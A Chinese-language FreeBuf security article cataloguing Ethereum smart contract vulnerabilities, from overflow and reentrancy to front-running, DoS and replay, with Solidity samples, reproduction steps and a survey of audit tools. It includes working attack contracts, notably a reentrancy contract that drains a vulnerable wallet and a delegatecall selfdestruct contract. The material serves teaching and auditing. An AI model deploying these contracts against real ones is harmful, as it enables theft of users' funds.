智慧合約安全性問題CheckList
*本文原創作者:x565178035,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
根據騰訊騰訊安全2018上半年區塊鏈安全報告,智慧合約引發的安全問題以成為區塊鏈自身機制安全性的主要問題,本文就目前文獻中提到的主流安全性問題做出總結,並列出目前的相關研究。
整形溢位(Arithmetic Issues)
如下程式碼,如果沒有assert判斷,那麼sellerBalance+value可能會超出uint上限制導致溢位。
pragma solidity ^0.4.15; contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; // complicated math with possible overflow // possible auditor assert assert(sellerBalance >= value); } }
危險的delegatecall(dangerous delegatecall)[contractfuzzer]
首先需要了解call和delegatecall的區別:call和delegatecall都為合約相互呼叫時的函式,假設A呼叫B函式,call方法結果展示到B中,delegatecall方法結果展示到A中。
在如下示例中,Mark如果用delegatecall呼叫了惡意合約Steal,那麼Mark合約會被刪除。
復現:
1.用A賬戶部署Steal,用B賬戶部署Mark合約,並在部署時為合約附加10個ether。
2.賬戶B呼叫Mark.call(address(Steal)),即用B呼叫Steal的Innocence方法,實際上innocence會在Mark的上下文環境執行,發現賬戶B收到合約的10 ether( 注意不是A賬戶 )
3.用C賬戶執行Mark.deposit()方法,並附加10ether,再呼叫destruct方法,發現B無法收到10ether,說明合約確實已經在第二步被銷燬。
pragma solidity ^0.4.2; contract Steal{ address owner; constructor () payable { owner = msg.sender; } function innocence() { log0("123"); selfdestruct(owner); } } contract Mark { address owner; constructor () payable { owner = msg.sender; } function Deposit() payable {} function call(address a) { a.delegatecall(bytes4(keccak256("innocence()"))); } }
無Gas傳送(Gasless Send)[contractfuzzer]
合約C呼叫合約D1時,由於fallback函式修改了storage變數——這是一個消耗大量gas的操作——導致了超過fallback的gas上限(2300gas)導致fallback失敗,呼叫D2時,由於沒有超過上限,呼叫成功。
復現:
1.用10ether部署C合約,0ether部署D1合約,0ether部署D2合約 2.呼叫C.pay(1000000000000000000, address(D1)),D1的count值仍為0 3.呼叫D1.kill(),以太幣不增加。2,3兩步說明了D1的fallback呼叫失敗 4.呼叫C.pay(1000000000000000000,address(D2)) 5.呼叫D2.kill(),發現賬戶增加1ether,說明D2的fallback呼叫成功
pragma solidity ^0.4.2; contract C { address owner; constructor () payable{ owner=msg.sender; } function pay(uint n, address d){ d.send(n); } function kill() { if (owner == msg.sender) { selfdestruct(owner); } } } contract D1 { address owner; uint public count = 0; constructor () payable{ owner=msg.sender; } function() payable { count = count+1; } function kill() { if (owner == msg.sender) { selfdestruct(owner); } } } contract D2{ address owner; constructor () payable{ owner=msg.sender; } function() payable {} function kill() { if (owner == msg.sender) { selfdestruct(owner); } } }
依賴於交易順序/條件競爭(TOD/Front Running)[smarter]
由於:
1.只有當交易被打包進區塊時,他才是不可更改的 2.區塊會優先打包gasprice更高的交易
所以攻擊者可以惡意操控交易順序從而使合約對自己有利。如圖,出題人和做題人同時發起合約,那麼做題人得到的獎勵因合約執行順序不同而不同。
再例如ERC20標準中的approve,整個流程是這樣的:
1.使用者A授權使用者B 100代幣的額度 2.使用者A覺得100代幣的額度太高了,再次呼叫approve試圖把額度改為50 3.使用者B在待交易處(打包前)看到了這筆交易 4.使用者B構造一筆提取100代幣的交易,通過條件競爭將這筆交易打包到了修改額度之前,成功提取了100代幣 5.使用者B發起了第二次交易,提取50代幣,使用者B成功擁有了150代幣
function approve(address _spender, uint256 _value) public returns (bool success){ allowance[msg.sender][_spender] = _value; return true
依賴於時間戳(Timestamp Dependence/Time manipulation)[smarter]
攻擊者可以修改區塊的時間戳-900s以此獲益。
未處理的異常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter]
例如合約KoET,攻擊者可以控制函式呼叫次數(EVM限制呼叫深度為1024),從而導致send函式呼叫失敗,但是接下來的程式碼會繼續執行,這樣前一個國王就無法得到報酬(compensation)。
Attacker:
復現失敗,在Remix中執行遞迴會崩潰,在實際執行中由於Gas較高,無法交易(預算手續費大於30ether)。
重入漏洞(Reentrancy/DAO)[smarter][seebug1]
當外部賬戶或其他合約向一個合約地址傳送ether時,會執行該合約的fallback函式(當呼叫合約時沒有匹配到函式,也會呼叫沒有名字的fallback函式)。且call.value()會將所有可用Gas給予外部呼叫(fallback函式),若在fallback函式中再呼叫withdraw函式,則會導致遞迴問題。攻擊者可以部署一個惡意遞迴的合約將公共錢包這個合約賬戶裡的Ether全部提出來。
復現:
1.賬戶A部署IDMoney合約,賬戶B部署Attack合約 2.賬戶A呼叫IDMoney()方法,並附加10ether 3.賬戶B部署Attack合約,附加2ether 4.賬戶B呼叫Attack.setVictim()方法,設定victim變數為IDMoney合約地址 5.賬戶B呼叫Attack.step1()方法,設定amount=1000000000000000000,即合約Attack呼叫合約IDMoney.deposit()方法 6.賬戶B呼叫Attack.step2()方法,設定amount=500000000000000000 7.賬戶B呼叫Attack.stopAttack()方法,獲得IDMoney的所有餘額(包括A的存款,嚴格說是合約中除了500000000000000000wei的餘額)
pragma solidity ^0.4.19; contract IDMoney{ address _owner; mapping (address => uint256) balances; function IDMoney() { _owner = msg.sender; } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(address to, uint256 amount) public payable { require(balances[msg.sender] >= amount); require(this.balance >= amount); log0(bytes32(address(this).balance/1e15)); to.call.value(amount)(); balances[msg.sender] -= amount; } function balanceof(address to) constant returns(uint256){ return balances[to]; } } contract Attack { address owner; address victim; modifier ownerOnly { require(owner == msg.sender); _; } function Attack() payable { owner = msg.sender; } // 設定已部署的 IDMoney 合約例項地址 function setVictim(address target) ownerOnly { victim = target; } // deposit Ether to IDMoney deployed function step1(uint256 amount) ownerOnly payable { if (this.balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } // withdraw Ether from IDMoney deployed function step2(uint256 amount) ownerOnly { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); } // selfdestruct, send all balance to owner function stopAttack() ownerOnly { selfdestruct(owner); } function startAttack(uint256 amount) ownerOnly { step1(amount); step2(amount / 2); } function () payable { if (msg.sender == victim) { // 再次嘗試呼叫 IDMoney 的 withdraw 函式,遞迴轉幣 victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); } } }
注意到合約IDMoney.withdraw()方法已經存在檢查賬戶餘額的程式碼,但是卻未能生效,原因是遞迴呼叫時沒有執行到 balances[msg.sender] -= amount;
,因此呼叫時,賬戶的餘額是不變的,而真正導致遞迴呼叫退出的是 require(this.balance >= amount);
,這也是為何呼叫結束後合約還剩下amount數量的以太幣的原因。有人會問,如果把這句話刪掉呢?我本以為合約會報錯,但是很遺憾,合約依然能夠正常執行,並且合約中不再剩下任何以太幣。
DoS攻擊[DoS]
頻繁呼叫某些Op(EXTCODESIZE和SUICIDE),這些Op花費的Gas小,但是需要大量資源(計算資源,I/O),以此造成DoS,對以太坊合約進行 DoS 攻擊,可能導致 Ether 和 Gas 的大量消耗,更嚴重的是讓原本的合約程式碼邏輯無法正常執行。
復現:
1.賬戶A部署PresidentOfCountry合約設定_price為1e18(1ether)。 2.賬戶B呼叫PresidentOfCountry,並附加1ether,成為President,price=2ether 3.賬戶C部署Attack,呼叫start_attack(address(PresidentOfCountry))並附加2ether,賬戶C成為President,由於呼叫後PresidentOfCountry合約會呼叫Attack的fallback函式,而fallback函式的revert()丟擲錯誤。 4.賬戶B呼叫PresidentOfCountry,並附加4ether,但是並不能稱為President,說明合約程式碼無法正常執行。
pragma solidity ^0.4.10; contract PresidentOfCountry { address public president; uint256 public price; constructor(uint256 _price) public payable { require(_price > 0); price = _price; president = msg.sender; } function becomePresident() payable { assert(msg.value >= price);// must pay the price to become president president.transfer(price);// we pay the previous president president = msg.sender;// we crown the new president price = msg.value * 2;// we double the price to become president } } contract Attack { function () { revert(); } function start_attack(address _target) payable { _target.call.value(msg.value)(bytes4(keccak256("becomePresident()"))); } }
說實話這裡我也沒太搞懂,為什麼合約被C呼叫過就無法執行了Orz
重放攻擊[blackhat2018]
如果合約存在相同的程式碼,則攻擊者可以使用合約A函式的引數呼叫合約B。
/* * 付款人要為收款人轉賬,但是付款人沒有足夠的ETH,因此找一個代理人,並支付一定的代幣作為代理費 * @param _from付款人 * @param _to收款人 * @param _value金額 * @param feeUgt代理費 * @param _vsig[0:66] #由付款人簽名,即付款人確認付錢 * @param _rsig[66:130] * @param _ssig[130:132] * 如果其他合約同樣包含TransferProxy函式,並且實現相似,那麼攻擊者可以在B合約上重放函式引數,B合約會執行成功 */ function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt, uint8 _v,bytes32 _r, bytes32 _s) returns (bool){ if(balances[_from] < _feeUgt + _value) throw; uint256 nonce = nonces[_from]; bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce); // ecrecover 驗籤函式 if(_from != ecrecover(h,_v,_r,_s)) throw; if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw; balances[_to] += _value; Transfer(_from, _to, _value); balances[msg.sender] += _feeUgt; Transfer(_from, msg.sender, _feeUgt); balances[_from] -= _value + _feeUgt; nonces[_from] = nonce + 1; return true; }
變數覆蓋[varreplace]
以如下程式碼為例,Solidity儲存機制的問題,p初始化後的name、mappedAddress地址會與變數testA、testB地址重合,導致呼叫test函式給結構體p賦值後,變數testA和testB的值也會被覆蓋。
復現:
1.呼叫TestContract.test()方法 2.檢查testA和testB的值,已被改變
pragma solidity ^0.4.0; contractTestContract{ int public testA; address public testB; struct Person { int name; address mappedAddress; } function test(int _name, address _mappedAddress) public{ Person p; p.name = _name;//testA被改變 p.mappedAddress = _mappedAddress;//testB被改變 } }
相關工作
DASP[ ofollow,noindex" target="_blank">dasp ]總結了以太坊合約的Top10安全性問題
luu等人[smarter]設計一套基於符號執行的智慧合約安全審計工具oyente(已做過演示,目前可以檢測的漏洞有 整形溢位,合約依賴交易順序,依賴時間戳的漏洞,未處理異常和重入漏洞 。
Nikolic[maian]等人設計了一套符號執行檢測智慧合約的工具MAIAN,這些問題包括 合約永久鎖定資金,資金可被惡意使用者轉賬以及被任意使用者殺死 ,我們選用了34200個合約(去重複後有2365個),我們抽樣調查了3759個合約,得到89%的正確率。
jiang等人[contractfuzzer]設計了一套基於fuzz的智慧合約審計工具ContractFuzzer,他們通過在EVM中插樁,以此獲取程式在執行中產生的資訊,通過預先設定的測試準則發現漏洞,他們設計的工具可以檢測 無Gas傳送、Exception Disorder、重入漏洞、依賴於時間戳漏洞、依賴於區塊高度漏洞、危險的Delegatecall、合約永久鎖定資金 7大安全性問題,經過試驗,ContractFuzzer發現漏洞的準確率較高,但是相較於Oyente,此工具找到的漏洞數量較少。
Liu等人[ReGuard]構建了基於fuzz的智慧合約檢測工具,旨在檢測合約中的 重入漏洞 ,實驗表明,相較於Oyente,該工具有更高的準確率,並且能發現更多數量的問題。
chen等人[DoS]通過動態調整Op執行的gas花費阻止DoS攻擊(通過反覆執行小gas的opcode,消耗系統資源造成dos)。
參考文獻
[DoS]: Chen, Ting, et al. “An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.” International Conference on Information Security Practice and Experience. Springer, Cham, 2017.
[smarter]: Luu, Loi, et al. “Making smart contracts smarter.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
[blackhat2018]: Bai, Zhenxuan, et al. “Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts.” Blackhat. 2018
[seebug1]: 以太坊智慧合約安全入門瞭解一下(上), https://paper.seebug.org/601/
[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.
[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI: https://doi.org/arXiv:1802.06038v1
[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings – International Conference on Software Engineering, 65–68. https://doi.org/10.1145/3183440.3183495
*本文原創作者:x565178035,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載